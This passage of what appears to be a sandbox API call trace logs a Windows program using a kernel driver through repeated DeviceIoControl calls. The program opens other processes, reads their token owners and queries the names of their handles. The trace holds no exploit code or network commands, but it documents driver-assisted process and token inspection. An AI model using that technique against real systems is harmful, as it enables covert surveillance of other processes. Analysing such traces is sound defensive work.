(Handle=0xffffffff800005f0) returned 0x0 [0133.176] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.177] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.177] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.224] CloseHandle (hObject=0xc8) returned 1 [0133.224] CloseHandle (hObject=0xc0) returned 1 [0133.224] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.224] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0133.224] PsLookupProcessByProcessId (in: ProcessId=0xa70, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.224] PsAcquireProcessExitSynchronization () returned 0x0 [0133.224] KeStackAttachProcess (in: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff880050005d0) [0133.224] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002069b00, HandleInformation=0x0) returned 0x0 [0133.225] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.225] PsReleaseProcessExitSynchronization () returned 0x2 [0133.225] ObfDereferenceObject (Object=0xfffffa80020c2b30) returned 0x10 [0133.225] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.225] ObfDereferenceObject (Object=0xfffffa8002069b00) returned 0x1 [0133.225] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.225] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.225] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.225] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0133.225] PsLookupProcessByProcessId (in: ProcessId=0xa70, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.225] PsAcquireProcessExitSynchronization () returned 0x0 [0133.225] KeStackAttachProcess (in: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff880050005d0) [0133.225] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800207a800, HandleInformation=0x0) returned 0x0 [0133.225] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.225] PsReleaseProcessExitSynchronization () returned 0x2 [0133.225] ObfDereferenceObject (Object=0xfffffa80020c2b30) returned 0x10 [0133.225] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.225] ObfDereferenceObject (Object=0xfffffa800207a800) returned 0x1 [0133.225] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.226] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.226] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.226] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.226] PsLookupProcessByProcessId (in: ProcessId=0xa70, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.226] PsAcquireProcessExitSynchronization () returned 0x0 [0133.226] KeStackAttachProcess (in: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff880050005d0) [0133.226] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0133.226] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.226] PsReleaseProcessExitSynchronization () returned 0x2 [0133.226] ObfDereferenceObject (Object=0xfffffa80020c2b30) returned 0x10 [0133.226] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000550) returned 0x0 [0133.226] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0133.226] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.226] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.226] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa80) returned 0xc0 [0133.227] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.227] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa80020a64e0, HandleInformation=0x0) returned 0x0 [0133.227] ObOpenObjectByPointer (in: Object=0xfffffa80020a64e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0133.227] ObfDereferenceObject (Object=0xfffffa80020a64e0) returned 0x12 [0133.227] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa8003637880 | out: TokenHandle=0xfffffa8003637880*=0xc8) returned 0x0 [0133.227] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0133.227] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.227] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.227] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.229] CloseHandle (hObject=0xc8) returned 1 [0133.229] CloseHandle (hObject=0xc0) returned 1 [0133.229] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.229] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0133.229] PsLookupProcessByProcessId (in: ProcessId=0xa80, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.229] PsAcquireProcessExitSynchronization () returned 0x0 [0133.229] KeStackAttachProcess (in: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff880050005d0) [0133.229] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020a6e10, HandleInformation=0x0) returned 0x0 [0133.229] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.230] PsReleaseProcessExitSynchronization () returned 0x2 [0133.230] ObfDereferenceObject (Object=0xfffffa80020a64e0) returned 0x10 [0133.230] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0133.230] ObfDereferenceObject (Object=0xfffffa80020a6e10) returned 0x1 [0133.230] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.230] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.230] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.230] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0133.230] PsLookupProcessByProcessId (in: ProcessId=0xa80, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.230] PsAcquireProcessExitSynchronization () returned 0x0 [0133.230] KeStackAttachProcess (in: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff880050005d0) [0133.230] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020b2f20, HandleInformation=0x0) returned 0x0 [0133.230] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.230] PsReleaseProcessExitSynchronization () returned 0x2 [0133.230] ObfDereferenceObject (Object=0xfffffa80020a64e0) returned 0x10 [0133.230] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0133.230] ObfDereferenceObject (Object=0xfffffa80020b2f20) returned 0x1 [0133.230] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.230] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.230] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.230] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.230] PsLookupProcessByProcessId (in: ProcessId=0xa80, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.230] PsAcquireProcessExitSynchronization () returned 0x0 [0133.230] KeStackAttachProcess (in: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff880050005d0) [0133.230] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0133.230] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.230] PsReleaseProcessExitSynchronization () returned 0x2 [0133.230] ObfDereferenceObject (Object=0xfffffa80020a64e0) returned 0x10 [0133.230] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.230] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0133.230] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.230] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.230] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa90) returned 0xc0 [0133.231] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.231] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa80020d7b30, HandleInformation=0x0) returned 0x0 [0133.231] ObOpenObjectByPointer (in: Object=0xfffffa80020d7b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0133.231] ObfDereferenceObject (Object=0xfffffa80020d7b30) returned 0x12 [0133.231] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa8003637880 | out: TokenHandle=0xfffffa8003637880*=0xc8) returned 0x0 [0133.231] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0133.231] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.231] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.231] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.233] CloseHandle (hObject=0xc8) returned 1 [0133.233] CloseHandle (hObject=0xc0) returned 1 [0133.233] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.234] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0133.234] PsLookupProcessByProcessId (in: ProcessId=0xa90, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.234] PsAcquireProcessExitSynchronization () returned 0x0 [0133.234] KeStackAttachProcess (in: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff880050005d0) [0133.234] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020caa70, HandleInformation=0x0) returned 0x0 [0133.234] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.234] PsReleaseProcessExitSynchronization () returned 0x2 [0133.234] ObfDereferenceObject (Object=0xfffffa80020d7b30) returned 0x10 [0133.234] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.234] ObfDereferenceObject (Object=0xfffffa80020caa70) returned 0x1 [0133.234] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.234] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.234] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.234] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0133.234] PsLookupProcessByProcessId (in: ProcessId=0xa90, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.234] PsAcquireProcessExitSynchronization () returned 0x0 [0133.234] KeStackAttachProcess (in: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff880050005d0) [0133.234] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020d0790, HandleInformation=0x0) returned 0x0 [0133.234] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.234] PsReleaseProcessExitSynchronization () returned 0x2 [0133.234] ObfDereferenceObject (Object=0xfffffa80020d7b30) returned 0x10 [0133.234] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.234] ObfDereferenceObject (Object=0xfffffa80020d0790) returned 0x1 [0133.234] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.234] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.234] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.234] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.234] PsLookupProcessByProcessId (in: ProcessId=0xa90, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.234] PsAcquireProcessExitSynchronization () returned 0x0 [0133.234] KeStackAttachProcess (in: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff880050005d0) [0133.234] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0133.235] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.235] PsReleaseProcessExitSynchronization () returned 0x2 [0133.235] ObfDereferenceObject (Object=0xfffffa80020d7b30) returned 0x10 [0133.235] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.235] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0133.235] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.235] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.235] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xaa0) returned 0xc0 [0133.235] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.235] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa80020f7380, HandleInformation=0x0) returned 0x0 [0133.235] ObOpenObjectByPointer (in: Object=0xfffffa80020f7380, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0133.235] ObfDereferenceObject (Object=0xfffffa80020f7380) returned 0x12 [0133.235] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa8003637880 | out: TokenHandle=0xfffffa8003637880*=0xc8) returned 0x0 [0133.235] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0133.235] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.235] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.235] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.237] CloseHandle (hObject=0xc8) returned 1 [0133.237] CloseHandle (hObject=0xc0) returned 1 [0133.237] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.237] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0133.237] PsLookupProcessByProcessId (in: ProcessId=0xaa0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.237] PsAcquireProcessExitSynchronization () returned 0x0 [0133.237] KeStackAttachProcess (in: PROCESS=0xfffffa80020f7380, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020f7380, ApcState=0xfffff880050005d0) [0133.237] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002044750, HandleInformation=0x0) returned 0x0 [0133.237] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.237] PsReleaseProcessExitSynchronization () returned 0x2 [0133.237] ObfDereferenceObject (Object=0xfffffa80020f7380) returned 0x10 [0133.237] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.237] ObfDereferenceObject (Object=0xfffffa8002044750) returned 0x1 [0133.237] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.237] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.237] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.237] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0133.237] PsLookupProcessByProcessId (in: ProcessId=0xaa0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.237] PsAcquireProcessExitSynchronization () returned 0x0 [0133.237] KeStackAttachProcess (in: PROCESS=0xfffffa80020f7380, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020f7380, ApcState=0xfffff880050005d0) [0133.237] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002056c20, HandleInformation=0x0) returned 0x0 [0133.237] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.237] PsReleaseProcessExitSynchronization () returned 0x2 [0133.237] ObfDereferenceObject (Object=0xfffffa80020f7380) returned 0x10 [0133.238] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a75044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a75044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.238] ObfDereferenceObject (Object=0xfffffa8002056c20) returned 0x1 [0133.238] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.238] HeapFree (in: hHeap=0x190000, 